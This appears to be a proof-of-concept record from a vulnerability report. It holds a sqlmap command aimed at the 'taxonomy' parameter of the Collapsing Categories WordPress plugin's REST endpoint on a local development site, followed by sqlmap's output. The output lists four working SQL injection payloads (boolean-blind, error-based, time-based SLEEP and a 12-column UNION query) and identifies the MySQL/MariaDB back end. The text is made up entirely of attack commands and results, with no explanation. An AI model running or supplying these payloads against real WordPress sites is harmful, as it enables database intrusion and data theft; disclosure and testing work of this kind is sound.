python3 sqlmap.py -u 'https://wp-dev.ddev.site:443/wp-json/collapsing-categories/v1/get?taxonomy=category' --level=3 --risk=3 --dbms='MySQL'

GET parameter 'taxonomy' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
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Parameter: taxonomy (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: taxonomy=category') AND 7946=7946 AND ('HpEV'='HpEV

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: taxonomy=category') AND (SELECT 7250 FROM(SELECT COUNT(*),CONCAT(0x7176707171,(SELECT (ELT(7250=7250,1))),0x7162706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('hZXr'='hZXr

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: taxonomy=category') AND (SELECT 2450 FROM (SELECT(SLEEP(5)))BSAn) AND ('lfDY'='lfDY

    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: taxonomy=category') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176707171,0x6e42754559704d7a675861454b4c58444e466968774b4d664161795758694376634a654e68594a58,0x7162706a71)-- -
---
[14:14:52] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0 (MariaDB fork)